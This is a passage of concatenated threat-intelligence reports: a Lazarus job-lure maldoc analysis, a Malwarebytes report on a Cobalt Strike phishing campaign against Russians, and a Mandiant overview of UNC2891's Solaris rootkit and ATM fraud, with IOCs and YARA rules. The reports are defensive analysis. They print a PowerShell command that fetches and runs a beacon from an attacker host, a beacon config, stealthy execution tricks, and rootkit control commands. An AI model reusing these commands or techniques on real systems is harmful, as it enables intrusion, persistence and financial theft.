and execute malicious code. The malware retrieves the address of the WMIsAvailableOffline function from wmvcore.dll , then it changes the memory protection permissions for code in WMIsAvailableOffline and proceeds to overwrite the code in memory with the malicious base64 decoded shell-code. Another interesting thing happening in the above code is the control flow hijacking through the KernelCallbackTable member of the PEB. A call to NtQueryInformationProcess is made with ProcessBasicInformation class as the parameter which helps the malware to retrieve the address of PEB and thus retrieving the KernelCallbackTable pointer. Figure 4: KernelCallbackTable in memory KernelCallbackTable is initialized to an array of callback functions when user32.dll is loaded into memory, which are used whenever a graphical call (GDI) is made by the process. To hijack the control flow, malware replaces the USER32!_fnDWORD callback in the table with the malicious WMIsAvailableOffline function. Once the flow is hijacked and malicious code is executed the rest of the code takes care of restoring the KernelCallbackTable to its original state. Shellcode Analysis The shellcode loaded by the macro contains an encrypted DLL which is decrypted at runtime and then manually mapped into memory by the shellcode. After mapping the DLL, the shellcode jumps to the entry point of that DLL. The shellcode uses some kind of custom hashing method to resolve the APIs. We used hollows_hunter to dump the DLL and reconstruct the IAT once it is fully mapped into memory. 4/16 Figure 5: API resolving The hashing function accepts two parameters: the hash of the DLL and the hash of the function we are looking for in that DLL. A very simple algorithm is used for hashing APIs. The following code block shows this algorithm: def string_hashing(name): hash = 0 for i in range(0, len(name)): hash = 2 * (hash + (ord(name[i]) | 0x60)) return hash The shellcode and all the subsequent inter-process Code/DLL injections in the attack chain use the same injection method as described below. Code Injection The injection function is responsible for resolving all the required API calls. It then opens a handle to the target process by using the OpenProcess API. It uses the SizeOfImage field in the NT header of the DLL to be injected into allocated space into the target process along with a separate space for the init_dll function. The purpose of the init_dll function is to initialize the injected DLL and then pass the control flow to the entry point of the DLL. One thing to note here is a simple CreateRemoteThread method is used to start a thread inside the target process unlike the KernelCallbackTable technique used in our macro. 5/16 Figure 6: Target Process Injection through CreateRemoteThread Malware Components stage1_winword.dll This is the DLL which is mapped inside the Word process. This DLL is responsible for restoring the original state of KernelCallbackTable and then injecting stage2_explorer.dll into the explorer.exe process. Figure 7: Restoring KernelCallbackTable to original state stage2_explorer.dll The winword.exe process injects this DLL into the explorer.exe process. With brief analysis we find out that the .data section contains two additional DLLs. We refer to them as drops_lnk.dll and stage3_runtimebroker.dll. By analyzing stage2_explorer.dll a bit further we can easily understand the purpose of this DLL. 6/16 Figure 8: stage2_explorer main routine The above code snippet shows the main routine of stage2_explorer.dll. As you can see it checks for the existence of C:\W ndows\system32\wuaueng.dll and then if it doesn t exist it takes its path to drop additional files. It executes the drops_lnk.dll in the current process and then tries to create the RuntimeBroker process and if successful in creating RuntimeBroker, it injects stage3_runtimebroker.dll into the newly created process. If for some reason process creation fails, it just executes stage3_runtimebroker.dll in the current explorer.exe process. 7/16 drops_lnk.dll This DLL is loaded and executed inside the explorer.exe process, it mainly drops the lnk file (WindowsUpdateConf.lnk) into the startup folder and then it checks for the existence of wuaueng.dll in the malicious directory and manually loads and executes it from the disk if it exists. The lnk file (WindowsUpdateConf.lnk) executes C:\Windows\system32\wuauclt.exe /UpdateDeploymentProvider C:\W ndows\system32\wuaueng.dll /RunHandlerComServer. This is an interesting technique used by Lazarus to run its malicious DLL using the Windows Update Client to bypass security detection mechanisms. With this method, the threat actor can execute its malicious code through the Microsoft Windows Update client by passing the following arguments: /UpdateDeploymentProvider, Path to malicious dll and /RunHandlerComServer argument after the dll. Figure 9: Startup folder path Figure 10: WindowsUpdateConf lnk stage3_runtimebroker.dll This DLL is responsible for creating the malicious directory C:\W ndows\system32\ ) and then drops the wuaueng.dll in that directory, furthermore it sets the attributes of the directory to make it hidden. Figure 11: stage3_runtimebroker main routine wuaueng.dll This is one of the most important DLLs in the attack chain. This malicious DLL is signed with a certificate which seems to belong to SAMOYAJ LIMITED , Till 20 January 2022, the DLL had (0/65) AV detections and presently only 5/65 detect it as malicious. This DLL has embedded inside another DLL which contains the core module (core_module.dll) of this malware responsible for communicating with the Command and Control (C2) server. This DLL can be loaded into memory in two ways: If drops_lnk.dll loads this DLL into explorer.exe then it loads the core_module.dll and then executes it If it is being executed from wuauclt.exe, then it retrieves the PID of explorer.exe and injects the core_module.dll into that process. 8/16 Figure 12: wuaueng.dll main routine The Core module and GitHub as a C2 Rarely do we see malware using GitHub as C2 and this is the first time we ve observed Lazarus leveraging it. Using Github as a C2 has its own drawbacks but it is a clever choice for targeted and short term attacks as it makes it harder for security products to differentiate between legitimate and malicious connections. While analyzing the core module we were able to get the required details to access the C2 but unfortunately it was already cleaned and we were not able to get much except one of the additional modules loaded by the core_module.dll remotely (thanks to @jaydinbas who shared the module with us). 9/16 Figure 13: core_module.dll C2 communication loop There seems to be no type of string encoding used so we can clearly see the strings which makes the analysis easy. get_module_from_repo uses the hardcoded username, repo_name, directory, token to make a http request to GitHub and retrieves the files present in the images directory of the repository. 10/16 Figure 14: get_module_from_repo function The HTTP request retrieves contents of the files present in the repository with an interesting validation which checks that the retrieved file is a PNG. The file that was earlier retrieved was named readme.png this PNG file has one of the malicious modules embedded in it. The strings in the module reveal that the module s original name is GetBaseInfo.dll . Once the malware retrieves the module it uses the map_module function to map the DLL and then looks for an exported function named GetNumberOfMethods in the malicious module. It then executes GetNumberOfMethods and saves the result obtained by the module. This result is committed to the remote repo under the metafiles directory with a filename denoting the time at which the module was executed. This file committed to the repo contains the result of the commands executed by the module on the target system. To commit the file the malware makes a PUT HTTP request to Github. Additional Modules (GetBaseInfo.dll) This was the only module which we were able to get our hands on. Only a single module does limit us in finding all the capabilities this malware has. Also its a bit difficult to hunt for these modules as they never really touch the disk which makes them harder to detect by AVs. The only way to get the modules would be to access the C2 and download the modules while they are live. Coming back to this module, it has very limited capabilities. It retrieves the Username, ComputerName and a list of all the running processes on the system and then returns the result so it can be committed to the C2. 11/16 Figure 15: GetBaseInfo module retrieving the information GitHub Account The account with the username DanielManwarningRep is used to operate the malware. The account was created on January 17th, 2022 and other than this we were not able to find any information related to the account. Figure 16: Account details from the token used 12/16 Second Malicious Document used in the campaign Malicious Document Salary_Lockheed_Martin_job_opportunities_confidential.doc (0160375e19e606d06f672be6e43f70fa70093d2a30031affd2929a5c446d07c1) The initial attack vector used in this document is similar to the first document but the malware dropped by the macro is totally different. Sadly, the C2 for this malware was down by the time we started analyzing This document uses KernelCallbackTable as well to hijack the control flow just like our first module, the injection technique used by the shellcode also resembles the first document. The major difference in this document is that it tries to retrieve a remote HTML page and then executes it using mshta.exe. The remote HTML page is located at https[:]//markettrendingcenter[.]com/member.htm and throws a 404 Not Found which makes it difficult for us to analyze this document any further. Figure 17: Shellcode Attribution There are multiple indicators that suggest that this campaign has been operated by the Lazarus threat actor. In this section we provide some of the indicators that confirm the actor behind this attack is Lazarus: Using job opportunities as template is the known method used by Lazarus to target its victims. The documents created by this actor are well designed and contain a large icon for a known company such as LockHeed Martin, BAE Systems, Boeing and Northrop Grumman in the template. In this campaign the actor has targeted people that are looking for job opportunities at Lockheed Martin. Targeting the defense industry and specifically Lockheed Martin is a known target for this actor. The document s metadata used in this campaign links them to several other documents used by this actor in the past. 13/16 Figure 18: Attribution based on metadata Using Frame1_Layout for macro execution and using lesser known API calls for shellcode execution is known to be used by Lazarus. We also were able to find infrastructure overlap between this campaign and past campaigns of Lazarus (Figure 19). Figure 19: Connection with past campaigns Conclusion Lazarus APT is one of the advanced APT groups that is known to target the defense industry. The group keeps updating its toolset to evade security mechanisms. In this blog post we provided a detailed analysis about the new campaign operated by this actor. Even though they have used their old job theme method, they employed several new techniques to bypass detections: Use of KernelCallbackTable to hijack the control flow and shellcode execution Use of the Windows Update client for malicious code execution Use of GitHub for C2 communication 14/16 IOCs: Maldocs: 0d01b24f7666f9bccf0f16ea97e41e0bc26f4c49cdfb7a4dabcc0a494b44ec9b Lockheed_Martin_JobOpportunities.docx 0160375e19e606d06f672be6e43f70fa70093d2a30031affd2929a5c446d07c1 Salary_Lockheed_Martin_job_opportunities_confidential.doc Domains: markettrendingcenter.com lm-career.com Payloads: Name Sha256 readme.png 4216f63870e2cdfe499d09fce9caa301f9546f60a69c4032cb5fb6d5ceb9af32 wuaueng.dll 829eceee720b0a3e505efbd3262c387b92abdf46183d51a50489e2b157dac3b1 stage1_winword.dll f14b1a91ed1ecd365088ba6de5846788f86689c6c2f2182855d5e0954d62af3b stage2_explorer.dll 660e60cc1fd3e155017848a1f6befc4a335825a6ae04f3416b9b148ff156d143 drops_lnk.dll 11b5944715da95e4a57ea54968439d955114088222fd2032d4e0282d12a58abb stage3_runtimebroker.dll 9d18defe7390c59a1473f79a2407d072a3f365de9834b8d8be25f7e35a76d818 core_module.dll c677a79b853d3858f8c8b86ccd8c76ebbd1508cc9550f1da2d30be491625b744 GetBaseInfo.dll 5098ec21c88e14d9039d232106560b3c87487b51b40d6fef28254c37e4865182 15/16 16/16 New spear phishing campaign targets Russian dissidents blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents Threat Intelligence Team March 29, 2022 This blog post was authored by Hossein Jazi. Updated to clarify the two different campaigns (Cobalt Strike and Rat) Several threat actors have taken advantage of the war in Ukraine to launch a number of cyber attacks. The Malwarebytes Threat Intelligence team is actively monitoring these threats and has observed activities associated with the geopolitical conflict. More specifically, we ve witnessed several APT actors such as Mustang Panda, UNC1151 and SCARAB that have used war-related themes to target mostly Ukraine. We ve also observed several different wipers and cybercrime groups such as FormBook using the same tactics. Beside those known groups we saw an actor that used multiple methods to deploy a variants of Quasar Rat. These methods include using documents that exploit CVE-2017-0199 and CVE-2021-40444, macro-embedded documents, and executables. On March 23, we identified a new campaign that instead of targeting Ukraine is focusing on Russian citizens and government entities. Based on the email content it is likely that the threat actor is targeting people that are against the Russian government. The spear phishing emails are warning people that use websites, social networks, instant messengers and VPN services that have been banned by the Russian Government and that criminal charges will be laid. Victims are lured to open a malicious attachment or link to find out more, only to be infected with Cobalt Strike. Spear phishing as the main initial infection vector 1/15 These emails pretend to be from the Ministry of Digital Development, Telecommunications and Mass Communications of the Russian Federation and Federal Service for Supervision of Communications, Information Technology and Mass Communications of Russia. We have observed two documents associated with this campaign that both exploit CVE-202140444. Even though CVE-2021-40444 has been used in a few attacks in the past, to the best of our knowledge this was the first time we observed an attacker use RTF files instead of Word documents to exploit this vulnerability. Also the actor leveraged a new variant of this exploit called CABLESS in this attack. Sophos has reported an attack that used a Cabless variant of this exploit but in that case the actor has not used the RTF file and also used RAR file to prepend the WSF data to it. Email with RTF file: (Federal Service for Supervision of Communications, Information Technology and Mass Communications) (A warning! Ministry of Digital Development, Telecommunications and Mass Media of the Russian Federation) Figure 1: Phishing template Figure 2: Phishing template 2/15 Email with archive file: . (informing the public about critical changes in the field of digital technologies, services, sanctions and criminal liability for their use.) (Attention! Informs the Ministry of Digital Development, Communications and Mass Media of the Russian Federation) Figure 3: Phishing template Email with link: (Attention! Informs the Ministry of Digital Development, Communications and Mass Media of the Russian Federation) Figure 4: phishing template Victimology The actor has sent its spear phishing emails to people that had email with these domains: mail.ru, mvd.ru, yandex.ru, cap.ru, minobr-altai.ru, yandex.ru, stavminobr.ru, mon.alania.gov.ru, astrobl.ru, 38edu.ru, mosreg.ru, mo.udmr.ru, minobrnauki.gov.ru, 66.fskn.gov.ru, bk.ru, ukr.net 3/15 Based on these domains, here is the list of potential victims: Portal of authorities of the Chuvash Republic Official Internet portal Russian Ministry of Internal Affairs ministry of education and science of the republic of Altai Ministry of Education of the Stavropol Territory Minister of Education and Science of the Republic of North Ossetia-Alania Government of Astrakhan region Ministry of Education of the Irkutsk region Portal of the state and municipal service Moscow region Ministry of science and higher education of the Russian Federation Analysis: The lures used by the threat actor are in Russian language and pretend to be from Russia Ministry of Information Technologies and Communications of the Russian Federation and MINISTRY OF DIGITAL DEVELOPMENT, COMMUNICATIONS AND MASS COMMUNICATIONS . One of them is a letter about limitation of access to Telegram application in Russia. 4/15 Figure 5: Lure letter 5/15 Figure 6: Lure template These RTF files contains an embedded url that downloads an html file which exploits the vulnerability in the MSHTML engine. http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html The html file contains a script that executes the script in WSF data embedded in the RTF file. Figure 7: html file The actor has added WSF data (Windows Script Host) at the start of the RTF file. As you can see from figure 8, WSF data contains a JScript code that can be accessed from a remote location. In this case this data has been accessed using the downloaded html exploit file. 6/15 Figure 8: WSF data Executing this scripts leads to spawning PowerShell to download a CobaltStrike beacon from the remote server and execute it on the victim s machine. (The deployed CobaltStrike file name is Putty) "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest 'http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe' -OutFile $env:TEMP\putty.exe; . $env:TEMP\putty.exe; Start-Sleep 15 The following shows the CobaltStrike config: 7/15 "BeaconType": [ "HTTPS" "Port": 443, "SleepTime": 38500, "MaxGetSize": 1398151, "Jitter": 27, "C2Server": "wikipedia-book.vote,/async/newtab_ogb", "HttpPostUri": "/gen_204", "Malleable_C2_Instructions": [ "Remove 17 bytes from the end", "Remove 32 bytes from the beginning", "Base64 URL-safe decode" "SpawnTo": "/4jEZLD/DHKDj1CbBvlJIg==", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 96, "Spawnto_x86": "%windir%\\syswow64\\gpupdate.exe", "Spawnto_x64": "%windir%\\sysnative\\gpupdate.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 1432529977, "bStageCleanup": "True", "bCFGCaution": "True", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 16700, "ProcInject_PrependAppend_x86": [ "kJCQ", "Empty" "ProcInject_PrependAppend_x64": [ "kJCQ", "Empty" "ProcInject_Execute": [ "ntdll.dll:RtlUserThreadStart", "SetThreadContext", "NtQueueApcThread-s", "kernel32.dll:LoadLibraryA", "RtlCreateUserThread" "ProcInject_AllocationMethod": "NtMapViewOfSection", "bUsesCookies": "True", "HostHeader": "" Similar lure used by another actor 8/15 We also have identified activity by another actor that uses a similar lure as the one used in the previously mentioned campaign. This activity is potentially related to Carbon Spider and uses (Federal Service for Supervision of Communications, Information Technology and Mass Communications) of Russia as a template. In this case, the threat actor has deployed a PowerShell-based Rat. 9/15 Figure 9: template The dropped PowerShell script is obfuscated using a combination of Base64 and custom obfuscation. 10/15 Figure 10: Dropped PS script After deobfuscating the script, you can see the Rat deployed by this actor. This PowerShell based Rat has the capability to get the next stage payload and execute it. The next stage payload can be one of the following file types: JavaScript PowerShell Executable All of Its communications with its server are in Base64 format. This Rat starts its activity by setting up some configurations which include the C2 url, intervals, debug mode and a parameter named group that initialized with Madagascar which probably is another alias of the actor. After setting up the configuration, it calls the Initialize-Engine function. This function collects the victim s info including OS info, Username, Hostname, Bios info and also a hostdomain value that shows if the machine in a domain member or not. It then appends all the collected into into a string and separate them by character and at the end it add the group name and API config value. The created string is being send to the server using Send-WebInit function. This function adds INIT%%% string to the created string and base64 encodes it and sends it to the server. 11/15 Figure 11: PowerShell Rat After performing the initialization, it goes into a loop that keeps calling the Invoke-Engine function. This function checks the incoming tasks from the server, decodes them and calls the proper function to execute the incoming task. If there is no task to execute, it sends GETTASK%% in Base64 format to its server to show it is ready to get tasks and execute them. The command is used to delete itself. 12/15 Figure 12: Invoke task The result of the task execution will be send to the server using PUTTASK%% command. Infrastructure The following shows the infrastructure used by this actor highlighting that the different lures are all connected. 13/15 Figure 12: Infrastructure The Malwarebytes Threat Intelligence continues to monitor cyber attacks related to the Ukraine war. We are protecting our customers and sharing additional indicators of compromise. IOCs RTF files host domain: digital-ministry[.]ru RTF files: PKH telegram.rtf b19af42ff8cf0f68e520a88f40ffd76f53a27dffa33b313fe22192813d383e1e PKH.rtf 38f2b578a9da463f555614e9ca9036337dad0af4e03d89faf09b4227f035db20 MSHTML exploit: wallpaper[.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html 4e1304f4589a706c60f1f367d804afecd3e08b08b7d5e6bd8c93384f0917385c CobaltStrike Download URL: wallpaper[.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe CobaltStrike: Putty.exe d4eaf26969848d8027df7c8c638754f55437c0937fbf97d0d24cd20dd92ca66d CobaltStrike C2: wikipedia-book[.]vote/async/newtab_ogb Macro based maldoc: c7dd490adb297b7f529950778b5a426e8068ea2df58be5d8fd49fe55b5331e28 14/15 PowerShell based RAT: 9d4640bde3daf44cc4258eb5f294ca478306aa5268c7d314fc5019cf783041f0 PowerShell Rat C2: swordoke[.]com 15/15 Have Your Cake and Eat it Too? An Overview of UNC2891 mandiant.com/resources/unc2891-overview The Mandiant Advanced Practices team previously published a threat research blog post that provided an overview of UNC1945 operations where the actor compromised managed services providers to gain access to targets in the financial and professional consulting industries. Since that time, Mandiant has investigated and attributed several intrusions to a threat cluster we believe has a nexus to this actor, currently being tracked as UNC2891. Through these investigations, Mandiant has discovered additional techniques, malware, and utilities being used by UNC2891 alongside those previously observed in use by UNC1945. Despite having identified significant overlaps between these threat clusters, Mandiant has not determined they are attributable to the same actor. UNC2891 intrusions appear to be financially motivated and in some cases spanned several years through which the actor had remained largely undetected. UNC2891 demonstrated fluency and expertise in Unix and Linux environments, mostly through the targeting of Oracle Solaris based systems with TINYSHELL and SLAPSTICK backdoors. Mandiant observed UNC2891 operate with a high degree of OPSEC and leverage both public and private malware, utilities, and scripts to remove evidence and hinder response efforts. Mandiant discovered a previously unknown rootkit for Oracle Solaris systems that UNC2891 used to remain hidden in victim networks, we have named this CAKETAP. One Variant of CAKETAP manipulated messages transiting a victims Automatic Teller Machine (ATM) switching network. It is believed this was leveraged as part of a larger operation to perform unauthorized cash withdrawals at several banks using fraudulent bank cards. Extensive Use of SLAPSTICK and TINYSHELL Backdoors Like past UNC1945 intrusions, Mandiant observed UNC2891 make extensive use of the Pluggable Authentication Module (PAM) based backdoor we track as SLAPSTICK to aid with credential harvesting, and to provide backdoor access to compromised machines in victim networks. As detailed in our previous blog post, SLAPSTICK provides persistent backdoor access to infected systems with a hard-coded magical password, it also logs authentication attempts and corresponding passwords in an encrypted log file. Although this is expected to have tremendously assisted UNC2891 with credential harvesting and lateral movement activities, it also provided valuable information to Mandiant Incident Responders. Although SLAPSTICK log files were often timestomped, Mandiant was able to decode them and trace some of the actor lateral movement activities through the usage of the backdoor provided magical password. Figure 1: Example SLAPSTICK decoded log (fabricated) Alongside SLAPSTICK, UNC2891 often installed a custom variant of the publicly available TINYSHELL backdoor. UNC2891 TINYSHELL backdoors leveraged an external encrypted configuration file and some variants included additional functionality, such as the ability to communicate via a HTTP proxy with basic authentication. In line with the group s familiarity with Unix and Linux based systems, UNC2891 often named and configured their TINYSHELL backdoors with values that masqueraded as legitimate services that might be overlooked by investigators, such as systemd (SYSTEMD), name service cache daemon (NCSD), and the Linux at daemon (ATD). TINYSHELL Backdoor File Paths TINYSHELL Configuration File Paths /usr/lib/libhelpx.so.1 /usr/lib/libatdcf.so /usr/lib/systemd/systemd-helper /usr/lib/libnscd.so.1 /usr/sbin/nscd /usr/lib/libsystemdcf.so /var/ntp/ntpstats/1 Table 1: Observed TINYSHELL file paths Example Decoded configuration pm_systemd_mag <32-character string> systemd_nme pm_systemd_adr pm_systemd_prt <443 or 53> pm_systemd_tme 300 systemd_non1 none systemd_non2 none systemd_non3 none systemd_non4 none Table 2: Example decoded TINYSHELL configuration (systemd variant) In the case of the systemd variant, UNC2891 also leveraged systemd service unit files for persistence of the TINYSHELL backdoor. /usr/lib/systemd/system/systemd-helper.service [Unit] Description=Rebuild Hardware Database [Service] Type=forking ExecStart=/lib/systemd/systemd-helper [Install] WantedBy=multi-user.target Table 3: Service unit file used for TINYSHELL persistence Based on analyzed configurations, UNC2891 had configured TINYSHELL backdoors in a multi-hop structure that leveraged several compromised internal servers for command and control. In one case, Mandiant found evidence that suggests the actor had chained different TINYSHELL variants together to obtain remote access to a server inside a network segment with network restrictions. To keep their network of TINYSHELL connections hidden, UNC2891 had installed and configured a rootkit to filter out these connections from network connection related APIs (keep reading for details on the CAKETAP rootkit). UNC2891 configured remotely accessible systems with TINYSHELL backdoors that used dynamic DNS domains for their external command and control channel. These domains were created perhost and were not used more than once, the subdomains sometimes resembled the hostname of the compromised machine. Mandiant was unable to collect passive DNS data for these dynamic DNS domains, suggesting that UNC2891 had likely enabled IP resolution for short periods of time when access to the network was required. At one victim, these TINYSHELL backdoors were configured to perform communications using TCP over port 53 and 443, likely as a mechanism to bypass outbound network protections, blend in with existing traffic, and evade detection. Figure 2: Example of TINYSHELL command and control used by UNC2891 STEELHOUND, STEELCORGI and Environment Variable Keying UNC2891 often made use of the STEELCORGI in-memory dropper which decrypts its embedded payloads by deriving a ChaCha20 key from the value of an environment variable obtained at runtime. In many cases, Mandiant was unable to recover the requisite environment variables to decrypt the embedded payloads. However, in the limited samples we were able to decrypt, UNC2891 had deployed different versions of an extensive toolkit which appears to be developed under the name SUN4ME. SUN4ME contains tools for network reconnaissance, host enumeration, exploitation of known vulnerabilities, log wiping, file operations, as well as common shell utilities. Yoroi has previously published information about this toolkit following our previous blog post on UNC1945 s usage of STEELCORGI. Mandiant discovered UNC2891 leveraging a similar in-memory dropper that also used environment variables to decrypt its embedded payload but instead relied on RC4 encryption, we have named this STEELHOUND. In addition to functioning as dropper for an embedded payload, STEELHOUND is also able to encrypt new payloads by encrypting a target binary and writing it to disk along with a copy of itself and an endof-file configuration. WINGHOOK and WINGCRACK During these investigations, Mandiant also discovered a family of keylogger malware we have named WINGHOOK and WINGCRACK. WINGHOOK is a keylogger for Linux and Unix based operating systems. It is packaged as a shared library (SO file) that hooks the read and fgets functions, which are two common functions used for processing user input. The captured data is stored in an encoded format in the directory /var/tmp/ with a filename that begins with .zmanDw. WINGCRACK is a utility that can decode and display the content of files containing encoded keylog data from WINGHOOK. The malware author appears to refer to these encoded files as schwing files. Utilities Observed Mandiant previously observed UNC1945 use a large amount of different public and private tools during their intrusions, and this was also true for UNC2891. Mandiant discovered additional utilities that were leveraged by UNC2891: BINBASH is a simple ELF utility that executes a shell after setting the group ID and user ID to either "root" or specified values. BINBASH appears to be a compilation of the source code. WIPERIGHT is an ELF utility that clears specific log entries on Linux and Unix based systems. It can remove entries associated with a given user in the lastlog, utmp/utmpx, wtmp/wtmpx, and pacct logs. It appears to have originated from available source code, and possibly a more recent version. MIGLOGCLEANER is another ELF utility that wipes logs or remove certain strings from logs on Linux and Unix based systems. It is publicly available on GitHub. Whilst seemingly uncommon amongst threat actors, UNC2891 frequently used the uuencoding scheme to encode and decode files, such as malware binaries or files containing output from extensive host enumeration scripts. The actor often leveraged simple Perl wrapper scripts that performed uuencoding and uudecoding functions. CAKETAP CAKETAP is a kernel module rootkit that UNC2891 deployed on key server infrastructure running Oracle Solaris. CAKETAP can hide network connections, processes, and files. During initialization, it removes itself from the loaded modules list and updates the last_module_id with the previously loaded module to hide its presence. A hook is installed into the function ipcl_get_next_conn, as well as several functions in the ip module. This enables CAKETAP to filter out any connections that match an actor-configured IP address or port (local or remote). One way to identify CAKETAP running on a Solaris system is to check for the presence of this hook. The following shows an example command to identify a hooked ipcl_get_next_conn function (Note: The mdb command may require special permissions on the system): root@solaris:~# echo 'ipcl_get_next_conn::dis -n 0 ; ::quit' | mdb -k The output in a clean SPARC Solaris system would look similar to the following: ipcl_get_next_conn: save %sp, -0xb0, %sp A hooked function would begin with the sethi instruction as follows (the constant 0x11971c00 will change from instance to instance depending on where CAKETAP is loaded): ipcl_get_next_conn: sethi %hi(0x11971c00), %g1 Additional hooks are installed into the mkdirat (make directory at) and getdents64 (get directory entries) system calls. CAKETAP uses the mkdirat hook to receive commands from paths containing the signal string. Commands include configuring network filters, display or update its configuration, and to unhide itself. The getdents64 hook enables CAKETAP to hide files or directories on the file system containing the secret signal string. Table 4 contains the signal strings for the CAKETAP hooks. Secret Usage .caahGss187 mkdirat hook signal string .zaahGss187 getdents64 hook signal string Table 4: Observed secrets for CAKETAP hooks The mkdirat hook enabled UNC2891 to control and configure CAKETAP through existing backdoor access to compromised servers by issuing shell commands that leverage these system calls (e.g. mkdir for mkdirat). A single character appended to the signal string indicated which command was to be executed. The following commands were observed: Command Function Empty Add the CAKETAP module back to loaded modules list Change the signal string for the getdents64 hook Add a network filter (format p) Remove a network filter Set the current thread TTY to not be filtered by the getdents64 hook Set all TTYs to be filtered by the getdents64 hook Displays the current configuration Table 5: Observed CAKETAP commands For example, to configure a new network filter and display the current configuration, the following commands might be used: mkdir /some/path/.caahGss187I192.168.1.10p80 - Add network filter for 192.168.1.10:80 mkdir /some/path/.caahGss187S - Display current configuration The hook installed into getdents64 filtered output to hide presence of the signal string in directory contents. Mandiant observed UNC2891 load CAKETAP with the module name ipstat from attacker created directories that often resided somewhere inside the /var directory tree. CAKETAP Unauthorized Transactions Memory forensics from one victim s ATM switch server revealed a variant of CAKETAP with additional network hooking functionality that intercepted specific messages relating to card and pin verification. Evidence suggests that this variant of CAKETAP was used as part of an operation to perform unauthorized transactions using fraudulent bank cards. This CAKETAP variant targeted specific messages destined for the Payment Hardware Security Module (HSM). This additional network hooking performed several functions: 1. Manipulation of card verification messages: CAKETAP altered the mode of certain outgoing messages to disable card verification. This resulted in the HSM not performing the proper card verification and instead generating a valid response. Fraudulent bank cards generated verification messages using a custom algorithm using the Primary Account Number (PAN) and other parameters which served as a marker for CAKETAP. CAKETAP examined outgoing messages and if it matched the algorithm, CAKETAP identified the card as fraudulent and stored the PAN in memory to use in the following step. 2. Replay of PIN verification messages: CAKETAP examined outgoing PIN verification messages that matched certain conditions and identified those with a Primary Account Number (PAN) that reflected a fraudulent card. If the message was not for a fraudulent card, it would save the message internally and send it unmodified, as to not interrupt legitimate ATM PIN verifications. However, if it was for a fraudulent card, CAKETAP would instead replace the message content with data from a previously saved message. This was effectively a replay attack that resulted in a bypass of PIN verification for fraudulent cards. Based on Mandiant s investigation findings, we believe that CAKETAP was leveraged by UNC2891 as part of a larger operation to successfully use fraudulent bank cards to perform unauthorized cash withdrawals from ATM terminals at several banks. Conclusion UNC2891 maintains a high level of OPSEC and employs several techniques to evade detection. The actor uses their skill and experience to take full advantage of the decreased visibility and security measures that are often present in Unix and Linux environments. Mandiant expects that UNC2891 will continue to capitalize on this and perform similar operations for financial gain that target mission critical systems running these operating systems. While some of the overlaps between UNC2891 and UNC1945 are notable, it is not conclusive enough to attribute the intrusions to a single threat group. For example, it is possible that significant portions of UNC2891 and UNC1945 activity are carried out by an entity that is a common resource to multiple threat actors, which could explain the perceived difference in intrusion objectives a common malware developer or an intrusion partner, for example. Regardless, Mandiant is releasing this information on the actor to raise awareness of the fraudulent activity and aid defenders in uncovering further UNC2891 operations. YARA The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are intended to serve as a starting point for hunting efforts to identify samples, however, they may need adjustment over time if the malware family changes. rule TINYSHELL meta: author = "Mandiant " strings: $sb1 = { C6 00 48 C6 4? ?? 49 C6 4? ?? 49 C6 4? ?? 4C C6 4? ?? 53 C6 4? ?? 45 C6 4? ?? 54 C6 4? ?? 3D C6 4? ?? 46 C6 4? ?? 00 } $sb2 = { C6 00 54 C6 4? ?? 4D C6 4? ?? 45 C6 4? ?? 3D C6 4? ?? 52 } $ss1 = "fork" ascii fullword wide $ss2 = "socket" ascii fullword wide $ss3 = "bind" ascii fullword wide $ss4 = "listen" ascii fullword wide $ss5 = "accept" ascii fullword wide $ss6 = "alarm" ascii fullword wide $ss7 = "shutdown" ascii fullword wide $ss8 = "creat" ascii fullword wide $ss9 = "write" ascii fullword wide $ss10 = "open" ascii fullword wide $ss11 = "read" ascii fullword wide $ss12 = "execl" ascii fullword wide $ss13 = "gethostbyname" ascii fullword wide $ss14 = "connect" ascii fullword wide condition: uint32(0) == 0x464c457f and 1 of ($sb*) and 10 of ($ss*) rule TINYSHELL_SPARC meta: author = "Mandiant" strings: $sb_xor_1 = { DA 0A 80 0C 82 18 40 0D C2 2A 00 0B 96 02 E0 01 98 03 20 01 82 1B 20 04 80 A0 00 01 82 60 20 00 98 0B 00 01 C2 4A 00 0B 80 A0 60 00 32 BF FF F5 C2 0A 00 0B 81 C3 E0 08 } $sb_xor_2 = { C6 4A 00 00 80 A0 E0 00 02 40 00 0B C8 0A 00 00 85 38 60 00 C4 09 40 02 84 18 80 04 C4 2A 00 00 82 00 60 01 80 A0 60 04 83 64 60 00 10 6F FF F5 90 02 20 01 81 C3 E0 08 } condition: of them uint32(0) == 0x464C457F and (uint16(0x10) & 0x0200 == 0x0200) and (uint16(0x12) & 0x0200 == 0x0200) and 1 rule SLAPSTICK meta: author = "Mandiant " strings: $ss1 = "%Y %b %d %H:%M:%S \x00" $ss2 = "%-23s %-23s %-23s\x00" $ss3 = "%-23s %-23s %-23s %-23s %-23s %s\x0a\x00" condition: (uint32(0) == 0x464c457f) and all of them rule STEELCORGI meta: author = "Mandiant " strings: $s1 = "\x00\xff/\xffp\xffr\xffo\xffc\xff/\xffs\xffe\xffl\xfff\xff/\xffe\xffx\xffe\x00" $s2 = "\x00\xff/\xffv\xffa\xffr\xff/\xffl\xffi\xffb\xff/\xffd\xffb\xffu\xffs\xff/\xffm\xffa\xffc\xffh\xffi\xffn\xffe\xff\xffi\xffd\x00" $sb1 = { FE 1B 7A DE 23 D1 E9 A1 1D 7F 9E C1 FD A4 } $sb2 = { 3B 8D 4F 45 7C 4F 6A 6C D8 2F 1F B2 19 C4 45 6A 6A } condition: (uint32(0) == 0x464c457f) and all of them Indicators of Compromise Malware Family SHA1 SHA256 STEELCORGI e5791e4d2b479ff1dfee983ca6221a53 